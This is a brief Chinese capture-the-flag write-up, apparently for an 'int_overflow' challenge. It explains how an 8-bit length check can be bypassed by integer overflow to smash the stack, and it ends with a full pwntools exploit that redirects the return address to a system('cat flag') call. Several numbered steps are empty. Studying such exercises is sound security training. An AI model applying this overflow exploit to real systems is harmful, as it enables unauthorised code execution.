①
②
③这里 read也存在一个栈溢出的漏洞,请自己尝试是否可以从这里入手()
④strcpy的作用是将后面s中字符串拷贝到前面&dest中去。
⑤发现v3是8位无符号整数,则最大只能是255。
但是read函数能读取的长度是0x199,远大于255,那就可以进行整型溢出,让passwd的长度是 260到264就可以了。(260264是理论上的,但实操中是259263,我还没弄清除是什么原因)
程序本身段有system(“cat flag”),则可以将返回地址覆盖到这里来(用ALT+T来搜索字符串)
⑥
⑦以下是exp:
from pwn import *
p = process('./int_overflow')
# p = remote("111.198.29.45","31255")
what_is_this = 0x804868B
p.recvuntil('choice:')
p.sendline("1")
p.recvuntil('username:\n')
p.sendline("n0va")
p.recvuntil("passwd:\n")
payload = 0x18*'a' + p32(what_is_this)
payload = payload.ljust(262,'a')
# print len(payload)
# pause()
p.sendline(payload)
# print p.recvall()
p.interactive()